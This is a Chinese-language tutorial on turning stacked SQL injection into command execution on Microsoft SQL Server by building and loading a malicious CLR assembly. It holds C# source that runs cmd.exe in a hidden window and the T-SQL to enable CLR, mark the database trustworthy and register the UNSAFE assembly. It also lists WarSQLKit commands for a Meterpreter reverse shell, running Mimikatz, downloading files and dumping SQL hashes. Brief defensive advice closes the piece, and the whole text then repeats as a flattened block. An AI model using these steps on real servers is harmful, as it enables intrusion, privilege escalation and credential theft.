MSSQL使用CLR程序集来执行命令
字数 1512 2025-08-26 22:11:57

MSSQL使用CLR程序集执行命令技术详解

一、技术背景

当获得MSSQL可堆叠注入时,传统方法如xp_cmdshellsp_OACreate常被禁用或拦截。CLR(公共语言运行时)集成提供了一种替代方案,允许通过.NET语言编写存储过程来执行系统命令。

二、CLR基础

CLR(Common Language Runtime)是微软.NET框架的核心组件,从SQL Server 2005开始集成,允许使用.NET语言(如C#)编写:

  • 存储过程
  • 触发器
  • 用户定义类型
  • 用户定义函数

三、恶意CLR程序集制作

环境要求

  • Windows Server 2008
  • MSSQL 2008 R2
  • Visual Studio 2019
  • 注意:MSSQL 2008及以前版本基于.NET 3.5,需特别设置

创建步骤

  1. 创建MSSQL数据库项目

    • 在VS2019中新建"SQL Server Database Project"
  2. 关键项目设置

    // 必须设置为.NET 3.5以兼容旧版MSSQL
    // 权限级别必须设为UNSAFE(因需调用外部程序)
    
  3. 添加CLR存储过程

    • 右键项目 → 添加 → 新建项 → 存储过程(CLR)
  4. 核心代码实现

    using System;
    using System.Data;
    using System.Data.SqlClient;
    using System.Data.SqlTypes;
    using System.Diagnostics;
    using System.Text;
    using Microsoft.SqlServer.Server;
    
    public partial class StoredProcedures
    {
        [Microsoft.SqlServer.Server.SqlProcedure]
        public static void ExecCommand(string cmd)
        {
            SqlContext.Pipe.Send("Command is running, please wait.");
            SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
        }
    
        public static string RunCommand(string filename, string arguments)
        {
            var process = new Process();
            process.StartInfo.FileName = filename;
            if (!string.IsNullOrEmpty(arguments))
            {
                process.StartInfo.Arguments = arguments;
            }
            process.StartInfo.CreateNoWindow = true;
            process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.RedirectStandardOutput = true;
            // ...完整错误处理和输出处理逻辑
            return stdOutput.ToString();
        }
    }
    

四、部署与使用

前置配置

  1. 启用CLR功能

    sp_configure 'clr enabled', 1
    GO
    RECONFIGURE
    GO
    
  2. 设置数据库为可信任

    ALTER DATABASE master SET TRUSTWORTHY ON;
    

程序集导入方式

  1. 字节流方式导入

    CREATE ASSEMBLY [evilclr]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004000000FFFF... -- 长字节流
    WITH PERMISSION_SET = UNSAFE;
    GO
    
  2. DLL文件方式导入

    • 右键"程序集" → 新建程序集
    • 选择DLL路径
    • 权限选择"无限制"(对应UNSAFE)

创建存储过程

CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [evilclr].[StoredProcedures].[ExecCommand]
GO

执行命令

exec dbo.execcommand 'whoami'

五、高级扩展 - WarSQLKit

针对MSSQL 2012+(需.NET 4.0+)的高级功能集:

可用命令示例

命令 功能描述
EXEC sp_cmdExec 'whoami' 执行任意Windows命令
EXEC sp_cmdExec 'whoami /RunSystemPriv' 以SYSTEM权限执行命令
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem' 建立x86 Meterpreter反向连接(SYSTEM权限)
EXEC sp_cmdExec 'sp_Mimikatz' 执行Mimikatz
EXEC sp_cmdExec 'sp_downloadFile URL PATH TIMEOUT' 下载文件
EXEC sp_cmdExec 'sp_getSqlHash' 获取MSSQL哈希

六、注意事项

  1. 版本兼容性

    • MSSQL 2008及以前:必须使用.NET 3.5
    • MSSQL 2012+:可使用.NET 4.0+功能(如WarSQLKit)
  2. 权限要求

    • 必须使用UNSAFE权限集
    • 需要数据库管理员权限
  3. 防御措施

    • 监控CLR程序集创建
    • 限制UNSAFE权限集使用
    • 定期检查可疑存储过程
  4. 错误处理

    • 确保完整错误处理逻辑
    • 考虑超时和资源限制

七、技术原理

  1. CLR集成架构

    • SQL Server托管CLR运行时
    • 通过特殊属性标记存储过程
    • 安全边界通过权限集控制
  2. 进程创建机制

    • 使用System.Diagnostics.Process
    • 重定向输入输出与SQL Server通信
    • 隐藏窗口避免被发现
  3. 权限提升

    • 利用SQL Server服务账户权限
    • 通过RottenPotato等技术提权

八、防御建议

  1. 禁用不必要的CLR功能

    sp_configure 'clr enabled', 0
    RECONFIGURE
    
  2. 严格权限控制

    • 限制UNSAFE权限集使用
    • 监控程序集创建
  3. 审计与监控

    • 记录所有CLR程序集操作
    • 监控异常进程创建
  4. 最小权限原则

    • SQL Server服务使用最低必要权限账户
    • 限制数据库所有者权限
MSSQL使用CLR程序集执行命令技术详解 一、技术背景 当获得MSSQL可堆叠注入时,传统方法如 xp_cmdshell 和 sp_OACreate 常被禁用或拦截。CLR(公共语言运行时)集成提供了一种替代方案,允许通过.NET语言编写存储过程来执行系统命令。 二、CLR基础 CLR(Common Language Runtime)是微软.NET框架的核心组件,从SQL Server 2005开始集成,允许使用.NET语言(如C#)编写: 存储过程 触发器 用户定义类型 用户定义函数 三、恶意CLR程序集制作 环境要求 Windows Server 2008 MSSQL 2008 R2 Visual Studio 2019 注意 :MSSQL 2008及以前版本基于.NET 3.5,需特别设置 创建步骤 创建MSSQL数据库项目 在VS2019中新建"SQL Server Database Project" 关键项目设置 添加CLR存储过程 右键项目 → 添加 → 新建项 → 存储过程(CLR) 核心代码实现 四、部署与使用 前置配置 启用CLR功能 设置数据库为可信任 程序集导入方式 字节流方式导入 DLL文件方式导入 右键"程序集" → 新建程序集 选择DLL路径 权限选择"无限制"(对应UNSAFE) 创建存储过程 执行命令 五、高级扩展 - WarSQLKit 针对MSSQL 2012+(需.NET 4.0+)的高级功能集: 可用命令示例 | 命令 | 功能描述 | |------|----------| | EXEC sp_cmdExec 'whoami' | 执行任意Windows命令 | | EXEC sp_cmdExec 'whoami /RunSystemPriv' | 以SYSTEM权限执行命令 | | EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem' | 建立x86 Meterpreter反向连接(SYSTEM权限) | | EXEC sp_cmdExec 'sp_Mimikatz' | 执行Mimikatz | | EXEC sp_cmdExec 'sp_downloadFile URL PATH TIMEOUT' | 下载文件 | | EXEC sp_cmdExec 'sp_getSqlHash' | 获取MSSQL哈希 | 六、注意事项 版本兼容性 MSSQL 2008及以前:必须使用.NET 3.5 MSSQL 2012+:可使用.NET 4.0+功能(如WarSQLKit) 权限要求 必须使用UNSAFE权限集 需要数据库管理员权限 防御措施 监控CLR程序集创建 限制UNSAFE权限集使用 定期检查可疑存储过程 错误处理 确保完整错误处理逻辑 考虑超时和资源限制 七、技术原理 CLR集成架构 SQL Server托管CLR运行时 通过特殊属性标记存储过程 安全边界通过权限集控制 进程创建机制 使用System.Diagnostics.Process 重定向输入输出与SQL Server通信 隐藏窗口避免被发现 权限提升 利用SQL Server服务账户权限 通过RottenPotato等技术提权 八、防御建议 禁用不必要的CLR功能 严格权限控制 限制UNSAFE权限集使用 监控程序集创建 审计与监控 记录所有CLR程序集操作 监控异常进程创建 最小权限原则 SQL Server服务使用最低必要权限账户 限制数据库所有者权限